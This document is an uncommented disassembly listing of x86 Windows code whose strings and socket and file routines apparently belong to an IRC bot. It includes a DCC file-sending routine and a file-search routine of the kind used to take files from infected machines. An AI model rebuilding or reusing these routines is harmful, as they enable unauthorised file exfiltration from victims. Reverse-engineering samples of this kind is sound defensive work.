sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C040	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C120	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40C230	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		call	near ptr 2830000h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		call	sub_5EFFD5
		nop
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		nop
		call	near ptr 2820B46h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60CD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A30
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		call	near ptr 71AB9639h
		nop
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2820000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		call	near ptr 2810ABEh
		nop
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		nop
		call	near ptr 2810703h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2810000h


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		nop
		call	near ptr 2810000h


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443B04 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F74
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5EFFD5
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2810000h
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2850000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
